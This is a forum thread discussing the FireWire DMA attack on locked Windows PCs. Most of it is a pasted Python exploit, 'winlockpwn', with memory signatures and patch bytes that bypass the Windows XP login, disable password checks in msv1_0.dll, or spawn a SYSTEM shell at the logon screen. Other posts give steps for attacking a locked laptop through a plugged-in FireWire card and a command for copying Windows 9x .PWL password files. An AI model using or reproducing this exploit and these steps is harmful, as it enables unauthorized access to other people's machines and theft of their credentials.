Windows Hacking Tool Released

[SirDice]

It's not that difficult to do. When this first came out I was working for a security company. In a few days a couple of guys there got it to work. They were able to read the Safeboot password of a locked machine. That's not something you should be able to get. Even with physical access.

[nihil]

Hey c'mon there SD~ play fair now!

It's not that difficult to do. When this first came out I was working for a security company. In a few days a couple of guys there got it to work.

Well we're not talking your average criminal or disgruntled employee there........ those were very knowledgeable IT security professionals?

This bit interests me:

They were able to read the Safeboot password of a locked machine. That's not something you should be able to get. Even with physical access.

I am afraid I don't know "Safeboot" but I assume it is some form of third party security software. That raises the question in my mind as to whether this is a generic problem or just one peculiar to the Safeboot product and its architecture? In other words, if I used a different product would it still work?

Incidentally, having found this password, was it usable, or would it have required cracking?

I notice that you say "locked machine". That makes me curious as to what point this vulnerability occurs at. For example if I have a system that:

1. Is powered down.
2. Has a BIOS password.
3. Has a hard drive password.
4. Has an operating system/user ID & password.
5. Has a totally encrypted hard drive.

Would this attack still work?

[SirDice]

Safeboot is a full drive encryption. And yes, they were able to use that password straight away.
After typing in the password it stayed in memory, unencrypted. This 'issue' was resolved by Safeboot by removing the password from memory as soon as it wasn't needed anymore.

So yes, the issue is partly hardware and partly software.
Unfortunately a lot of software keep their passwords in memory for far to long.

[gore]

Safeboot is a full drive encryption. And yes, they were able to use that password straight away.
After typing in the password it stayed in memory, unencrypted. This 'issue' was resolved by Safeboot by removing the password from memory as soon as it wasn't needed anymore.

So yes, the issue is partly hardware and partly software.
Unfortunately a lot of software keep their passwords in memory for far to long.

I have this on a floppy from about 5 years ago:

copy C:/WINDOWS*.PWL a:

Not sure if that syntax is exactly what I put on there, I haven't used a DOS prompt in awhile.

[Nokia]

That will only really work with Windows 9x boxes - (and maybe Me but don't quote me on that.) The old windows boxes used to store the password in a pwl file which could be copied just like any other file on the system from a bootable floppy- obviously NT now uses the SAM and SYSKEY instead.

(Still worth keeping though - I quite often run into 98 boxes in the corner of offices etc.)

I notice that you say "locked machine". That makes me curious as to what point this vulnerability occurs at. For example if I have a system that:

1. Is powered down.
2. Has a BIOS password.
3. Has a hard drive password.
4. Has an operating system/user ID & password.
5. Has a totally encrypted hard drive.

Would this attack still work?

1) If the system is powered down guess what...Windows is not even loaded....so ermm I'd go out on a limb and say that no it won't work

2) Why would a BIOS password prevent accessing memory via firewires' DMA usage?

3) Why would a hard drive password prevent accessing memory via firewires' DMA usage?

4) Don't understand what you mean.

5) Why would an encrypted hard drive password prevent accessing memory via firewires' DMA usage?

As most have said - the firewire 'hack' has been around for a while, it is not a typical vulnerability in the strictest sense of the word as it is making use of the way 1394 works i.e. DMA.

It is not as difficult to do as it initially appears either - all you need is a laptop, a python script & a few libraries and a firewire cable - and obviously a laptop/pc that it POWERED ON and locked.

I've recently come across security consultants advising that disabling the firewire port on laptop prevents this attack and ensures you are safe......this is not true - Windows will install new hardware even if the screen is locked, so as I demonstrated to a customer last week, all you need is a PCMCIA firewire card, plug it in and Windows will very kindly install it for you. Then hook your laptop up, plug the firewire cable in and run the python script(s), enter any user name and password you desire - voilla you're now logged in.

Just to be clear though, this is not 100% a Microsoft fault - firewire is an IEEE standard and has been for some time - DMA has been around for as long as I can remember.

MS's responsibility lies in the RtlCompareMemory() function in the MSV1_0.dll constantly being available in memory - if you couple this with the fact that firewire has DMA (Direct Memory Access) then you can change certain files that are running in memory, i.e in thuis case it is possible to patch the dl binary loaded in memory and then logon to the system with any user name and password.( Currently, in my office it's not safe to simply lock your laptop and go make a coffee anymore - you have to either take it with you of turn it off completely )

This is just the tip of the ice berg though as technically it is possible to do anything you want when you have direct access to the memory - install malware, rootkits etc etc etc

[Nokia]

Here is a python script that (along with a few other 'tools') will make use of the firewire issue - obviously I'm not going to post a working script here but anyone who is vaguely familiar with Python will see the glaringly obvious omission and can rectify the script so it will work.

import sys
import firewire
import binascii
import time



# Targets are dicts, with some properties, and one or more phases
# each phase specifies a signature which can be found at one or more
# page offsets. When a signature is found the patch is applied at patchoffset
# bytes from the beginning of the signature. 

targets=[{
		"name":"WinXP SP2 Fast User Switching Unlock",
		"notes":"When run against a locked XPSP2 box with FUS on, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",
		"phase":[{
		"sig":"8BD8F7DB1ADBFEC3",
		"pageoffset":[2905],
		"patch":"bb01000000eb0990",
		"patchoffset":0}]
		},
		{"name":"WinXP SP2 Unlock",
		"notes":"When run against a locked XPSP2 box with regular non-fast-user-switching, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.",
		"phase":[{
		"sig":"0502000010",
		"pageoffset":[3696],
		"patch":"b801000000",
		"patchoffset":0}]
		},
		{"name":"WinXP SP2 msv1_0.dll technique",
		 "notes":"Patches the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in, locking, and probably network authentication too! This is the best allround XPSP2 technique.",
		 "phase":[{
		 "sig":"8BFF558BEC83EC50A1",
		 "pageoffset":[0x927],
		 "patch":"B001",
		 "patchoffset":0xa5}]
		},
		{"name":"WinXP SP2 utilman cmd spawn",
		 "notes":"At the winlogon winstation (locked or prelogin), will spawn a system cmd shell. Start util manager with Win-U, and make sure all the disability-tools are stopped (narrator starts by default). Then run this, wait till it's patched a couple of data-phase things, then start narrator. Enjoy a shell. You can use this with the msv1_0.dll technique as well, and log in. Any time you want to get back to your shell, just lock the desktop, and you'll go back to the winlogon winstation where your shell will be waiting.",
		 "phase":[
		 {"name":"Patch code",
		 "sig":"535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb",
		 "pageoffset":[0x39f],
		 "patch":"565383c310899de8faffffff158810185b898540fbffff9090909090",
		 "patchoffset":0x0},
		 {"name":"Patch data",
		 "sig":"2f0055004d000000d420185b0539185b0000000053006f006600740077006100",
		 "pageoffset":[0x9ac, 0x5ac, 0x3ac],
		 "patch":"63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000",
		 "patchoffset":0x0,
		 "keepgoing":True,
		 }
		 ]
		}
		]


start = 0x8000000L
end   = 0xffffffffL
chunk = 4096 

print VERSTR

def printTargets(targets):
	i = 1
	print " Available Targets:"
	for t in targets:
		print " %2d: %s" % (i, t["name"])
		i+=1
	print "\nTarget Notes:\n"	
	for t in targets:
		print "%s:\n---------------\n%s\n" % (t["name"], t["notes"])
		
def usage():
	print "Usage: winlockpwn port node target [start-end]"
	print " - Port and node are the firewire port and node numbers. Use businfo to identify your targets port and node numbers."
	print " - Target should be one of the numbered targets listed below."
	print " - You can optionally supply a start-end memory range to search for signatures in, useful if you're restarting, or want to limit the upper end of memory (which will otherwise walk up to 4GB without stopping). This understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB, -0xffff."
	print "(Remember that you'll need to use CSR trickery with romtool to talk DMA to windows.)\n"
	printTargets(targets)
	sys.exit(1)

if len(sys.argv) < 4:
	usage()

try:
	port = int(sys.argv[1])
	node = int(sys.argv[2])
	targetno = int(sys.argv[3])
	if len(sys.argv) > 4:
		start,end = firewire.parseRange(sys.argv[4])
		if end == None:
			end = 0xffffffffL
except ValueError:
	usage()

if targetno < 1 or targetno > len(targets):
	usage()

target = targets[targetno -1]

print "Target Selection:"
print " Name   : %s" % target["name"]
print " Notes  : %s" % target["notes"]
for p in target["phase"]:
	if p.has_key("name"):
		print "Phase: %s" % p["name"]
	print " Pattern: 0x%s" % p["sig"]
	print " Offset : %s" % p["pageoffset"]
	print " Patch  : 0x%s" % p["patch"]
	print " Offset : %d" % p["patchoffset"]
print "Scanning Options:"
print " Start  : 0x%x" % start
print " Stop   : 0x%x" % end
print " Pagesz : %d" % chunk

for so in p["pageoffset"]:
	if len(p["sig"]) + so > chunk:
		print "Uh oh, signature crosses page boundary. This isn't supported :("
		sys.exit(1)
	if so + p["patchoffset"] > chunk:
		print "Uh oh, patch offset crosses page boundary. This isn't supported :("
		sys.exix(1)



print "Init firwire, port %d node %d" % (port, node)
h = firewire.Host()
n = h[port][node]

print "Snarfin' memories..."
sys.stdout.flush()

dumppage = False
won = False

startt = time.time()
last = 0
for p in target["phase"]:
	try:
		print "Phase: %s" % p["name"]
	except KeyError:
		pass
	signatureoffset=p["pageoffset"]
	eviloffset = p["patchoffset"]
	payload = binascii.unhexlify(p["patch"])
	pattern = binascii.unhexlify(p["sig"]) 
	eviladdr = None
	for offset in range(start, end, chunk):
		now = time.time()
		if now > (last + 1):
			last = now
			print "\rChecking for signature on page at 0x%08x (%dkB) at %d kB/s..." % (offset, offset / 1024, (offset - start) / (now - startt) / 1024 ),
			sys.stdout.flush()

		for so in signatureoffset:
			mem = n.read(offset + so , len(pattern))
			if mem == pattern:
				print "Found signature at 0x%08x" % (offset + so)
				eviladdr = offset + so + p["patchoffset"]
				if dumppage:
					fo = open("winlockpwn.dumppage.0x%08x" % offset, "w")
					fo.write(n.read(offset, chunk))
					fo.close()
				break
		if eviladdr != None:
			won = True
			print "Setting up teh bomb...",
			n.write(eviladdr, payload) 
			print "Donezor!"
			verify=n.read(eviladdr, len(payload))
			print "Verified evil: 0x%s" % (binascii.hexlify(verify))
			if dumppage:
				fo = open("winlockpwn.dumppage.0x%08x.patched" % offset, "w")
				fo.write(n.read(offset, chunk))
				fo.close()
			if p.has_key("keepgoing") and p["keepgoing"]:
				eviladdr = None
			else:
				break


if won:
	print "You may proceed with your nefarious plans"
else:
	print "\nOh noes, you didn't win"
endt = time.time()
print "Elapsed time %d seconds" % (endt - startt)

This IS NOT my work - it was passed to me by a colleague - as soon as I find where he got it from I will post the link - I am 100% sure it is publicly available which is why I have posted it here.

You will need more than this script alone, but it serves to give an indication of how the 'attack' works and the vectors that are open for abuse - you will need more that this script to exploit anything.

[AngelicKnight]

Ya know, someone needs to invent a little padlocked door that you can shut on the backside of a computer to block physical access to ALL ports.

Various and sundry problems solved.

[nihil]

1) If the system is powered down guess what...Windows is not even loaded....so ermm I'd go out on a limb and say that no it won't work

2) Why would a BIOS password prevent accessing memory via firewires' DMA usage?

3) Why would a hard drive password prevent accessing memory via firewires' DMA usage?

4) Don't understand what you mean.

5) Why would an encrypted hard drive password prevent accessing memory via firewires' DMA usage?

Well, I was attempting to establish the extent and severity of this "threat":

#1 If the machine is turned off, can you just power up and attack it this way?

#2 A BIOS password generally stops you starting the machine?

#3 So?............... I don't care about RAM or processor access..........the question is whether the data on the HDD is accessible.

#4 Like you need to authenticate yourself to access the HDD and its data?

#5 Sorry, I don't see that........... the important data is on the HDD not in the RAM?